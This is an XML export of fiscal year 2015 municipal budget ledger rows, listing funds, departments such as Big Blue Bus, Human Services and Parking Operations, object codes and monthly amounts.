<row _id="14427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1627.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1627.0</total></row>
<row _id="14428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6490.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6490.0</total></row>
<row _id="14429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4875.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4875.0</total></row>
<row _id="14430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="14431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="14432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="14433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1116689.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1116689.0</total></row>
<row _id="14436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402060.0</object><object_description>STA SALES TAX -OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-2898773.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2898773.0</total></row>
<row _id="14437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1538.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1538.0</total></row>
<row _id="14438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29076.0</total></row>
<row _id="14439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>23871.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23871.0</total></row>
<row _id="14440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8409.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8409.0</total></row>
<row _id="14441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="14442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562281.0</object><object_description>YOUTH DEVELOPMENT PROJECT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>275518.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>275518.0</total></row>
<row _id="14443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563121.0</object><object_description>CARE MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>225448.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>225448.0</total></row>
<row _id="14444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565161.0</object><object_description>VENICE FAMILY CLINIC-GEN FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>93319.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93319.0</total></row>
<row _id="14445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565231.0</object><object_description>GENERAL COMMUNITY LEGAL SRVCES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>399219.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>399219.0</total></row>
<row _id="14446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565271.0</object><object_description>SOJOURN/DOMESTIC VIOLENCE NTWR</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7107.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7107.0</total></row>
<row _id="14447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407630.0</object><object_description>CONSTRUCTION &amp; DEMO PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-304600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-304600.0</total></row>
<row _id="14448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>659230.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>659230.0</total></row>
<row _id="14449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555061.0</object><object_description>OUTSIDE AUDIT EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
<row _id="14450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26469.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26469.0</total></row>
<row _id="14451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544115.0</object><object_description>FARE MEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="14452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522151.0</object><object_description>STORMWATER MANAGEMENT-GF</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7053.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7053.0</total></row>
<row _id="14455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>403010.0</object><object_description>OPERATING INTEREST - CITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-76763.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-76763.0</total></row>
<row _id="14456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404280.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-934455.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-934455.0</total></row>
<row _id="14457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>566910.0</object><object_description>MAINTENANCE-PARKING FACILITIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>147000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>147000.0</total></row>
<row _id="14458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407390.0</object><object_description>GYM RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-42000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-42000.0</total></row>
<row _id="14459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5192.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5192.0</total></row>
<row _id="14460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401260.0</object><object_description>BEACH PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-10200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10200000.0</total></row>
<row _id="14461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400950.0</object><object_description>MOUNTAIN VIEW LEASE REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-406000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-406000.0</total></row>
<row _id="14462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1076.0</total></row>
<row _id="14463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29610.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29610.0</total></row>
<row _id="14464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7569368.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7569368.0</total></row>
<row _id="14465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="14466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17200.0</total></row>
<row _id="14467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9524.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9524.0</total></row>
<row _id="14468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522544.0</object><object_description>GRAPHIC DESIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9000.0</total></row>
<row _id="14469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38394.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38394.0</total></row>
<row _id="14470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>170319.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>170319.0</total></row>
<row _id="14471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>113099.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>113099.0</total></row>
<row _id="14473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>100458.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100458.0</total></row>
